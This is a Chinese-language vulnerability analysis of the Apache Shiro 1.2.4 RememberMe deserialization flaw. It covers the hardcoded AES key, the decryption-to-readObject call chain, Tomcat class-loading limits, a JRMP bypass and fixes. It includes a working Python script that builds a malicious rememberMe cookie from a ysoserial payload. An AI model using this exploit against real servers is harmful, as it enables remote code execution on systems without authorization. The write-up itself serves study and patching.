Shiro-1.2.4-RememberMe 反序列化踩坑深入分析
字数 2045 2025-08-25 22:59:02
Apache Shiro 1.2.4 RememberMe 反序列化漏洞深入分析
漏洞概述
Apache Shiro 1.2.4 版本中,当使用 RememberMe 功能时,存在反序列化漏洞。该漏洞源于:
- Shiro 使用 AES 加密 RememberMe Cookie
- AES 密钥硬编码在代码中(
kPH+bIxk5D2deZiIxcaaaA==) - 攻击者可利用硬编码密钥构造恶意序列化数据,触发反序列化执行任意代码
环境搭建
所需组件
- Java 1.7.0_21(兼容 ysoserial payload)
- Apache Tomcat 8.5.56
- Shiro 1.2.4(commit 9549384b0d7b77b87733892ab00b94cc31019444)
- Commons-collections4(兼容 ysoserial payload)
搭建步骤
- 获取 Shiro 源码:
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
- 配置 Maven toolchains.xml:
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>1.7</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/path/to/jdk1.7.0_21.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
- 修改 pom.xml 添加依赖:
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
- 配置 Tomcat 并运行示例项目
漏洞利用
POC 生成脚本
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
利用流程
- 使用 ysoserial 生成 CommonsCollections5 payload
- 使用硬编码 AES 密钥加密 payload
- 构造 rememberMe Cookie 并发送给目标
漏洞分析
漏洞触发流程
-
身份解析:
DefaultSecurityManager.resolvePrincipals()尝试解析上下文凭据- 调用
getRememberedPrincipals()获取 RememberMe 身份信息
-
Cookie处理:
CookieRememberMeManager.getRememberedSerializedIdentity()从请求中获取 rememberMe Cookie- 对 Cookie 值进行 Base64 解码
-
AES解密:
AbstractRememberMeManager.convertBytesToPrincipals()调用decrypt()解密数据- 使用硬编码密钥
kPH+bIxk5D2deZiIxcaaaA==进行 AES 解密
-
反序列化:
AbstractRememberMeManager.deserialize()调用DefaultSerializer.deserialize()- 最终触发
ObjectInputStream.readObject()反序列化漏洞
关键点分析
-
硬编码密钥:
- 密钥在
AbstractRememberMeManager类中硬编码:private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); - 在 Shiro 初始化时通过调用链设置:
setEncryptionCipherKey() -> setCipherKey() -> AbstractRememberMeManager 构造函数
- 密钥在
-
反序列化限制:
- Shiro 使用
ClassResolvingObjectInputStream重写了resolveClass - 在加载数组类型(如
[Lorg.apache.commons.collections.Transformer;)时会失败 - 失败原因:Tomcat 的 ClassLoader 未包含 Commons Collections 库路径
- Shiro 使用
-
绕过限制的JRMP利用:
- 使用 JRMP 客户端 payload 可绕过数组加载限制
- 原因:JRMP 通信过程中会进行二次反序列化,此时使用
ParallelWebappClassLoader可成功加载数组类型
深入技术细节
类加载机制分析
-
Shiro的类加载:
- 使用
ClassResolvingObjectInputStream.resolveClass() - 调用
ClassUtils.forName()尝试三种加载器:THREAD_CL_ACCESSOR.loadClassCLASS_CL_ACCESSOR.loadClassSYSTEM_CL_ACCESSOR.loadClass
- 使用
-
Tomcat环境差异:
- Tomcat 有自己的 ClassLoader 体系(
WebappClassLoaderBase) - 默认不包含 JDK 的 Classpath,需要手动配置:
CLASSPATH=$CLASSPATH:/path/to/commons-collections-3.2.1.jar
- Tomcat 有自己的 ClassLoader 体系(
-
JRMP利用原理:
- 第一次反序列化:作为 JRMP 客户端连接恶意服务端
- 第二次反序列化:在通信过程中使用
ParallelWebappClassLoader加载数组类型 - 关键调用栈:
Class.forName() -> LoaderHandler.loadClass() -> MarshalInputStream.resolveClass()
修复建议
- 升级到最新版 Shiro
- 自定义 RememberMe 加密密钥,替换硬编码密钥
- 禁用不必要的 RememberMe 功能
- 使用 Java 安全策略限制反序列化操作
总结
该漏洞的核心在于:
- 硬编码 AES 密钥导致加密可被绕过
- 反序列化时类加载机制的限制与绕过
- 通过 JRMP 等二次反序列化技术可绕过初始限制
理解该漏洞需要对 Java 类加载机制、Shiro 身份验证流程和反序列化技术有深入认识。